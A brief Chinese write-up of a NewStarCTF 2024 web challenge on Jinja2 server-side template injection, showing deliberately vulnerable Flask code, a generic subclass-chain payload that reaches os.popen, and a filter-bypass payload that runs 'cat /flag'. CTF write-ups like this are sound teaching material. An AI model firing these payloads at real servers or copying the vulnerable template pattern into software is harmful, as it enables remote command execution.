题目链接

newstarCTF 2024 复读机

ssti

SSTI(Server Side Template Injection,服务器端模板注入),而模板指的就是Web开发中所使用的模板引擎。模板引擎可以将用户界面和业务数据分离,逻辑代码和业务代码也可以因此分离,代码复用变得简单,开发效率也随之提高。

漏洞出现原因

from flask import Flask, request, render_template_string
from jinja2 import Template
app = Flask(__name__)

@app.route('/')
def index():
name = request.args.get('name', default='guest')
t = '''
<html>
<h1>Hello %s</h1>
</html>
''' % (name)
# 将一段字符串作为模板进行渲染
return render_template_string(t)

"""这样的代码同样存在漏洞
def index():
name = request.args.get('name', default='guest')
t = Template(
'''
<html>
<h1>Hello %s</h1>
</html>
''' % name
)
# 对模板对象进行渲染
return t.render()
"""
app.run()

我们可以发现漏洞出现的原因:服务器端将用户可控的输入直接拼接到模板中进行渲染,导致漏洞出现。反之,要解决该漏洞,则只需先将模板渲染,再拼接字符串。

深入到Flask渲染函数原理来讲,render和render_template_string由用户拼接,字符串不会自动转义,而render_template会对字符串计进行自动转义,因此避免了参数被作为表达式执行。

SSTI 一般方法

{{"".__class__.__base__.__subclasses__}}

之后找os.__wrap_closs 在第几个索引

{{"".__class__.__base__.__subclasses__()[140]}}

类似这样的

之后

{{"".__class__.__base__.__subclasses__()[140].__init__.__globals__['popen'](dir').read()}}

其中dir可以换成任何命令,比如 cat /flag

本题解法

本题过滤了class,因此需要用到字符串拼接绕过

payload

user_input={{""['__cl'+'ass__'].__base__['__subcl'+'asses__']()[132].__init__.__globals__['popen']('cat /flag').read()}}

学习链接

https://tttang.com/archive/1698/#toc_ssti_2

https://www.cnblogs.com/tuzkizki/p/15394415.html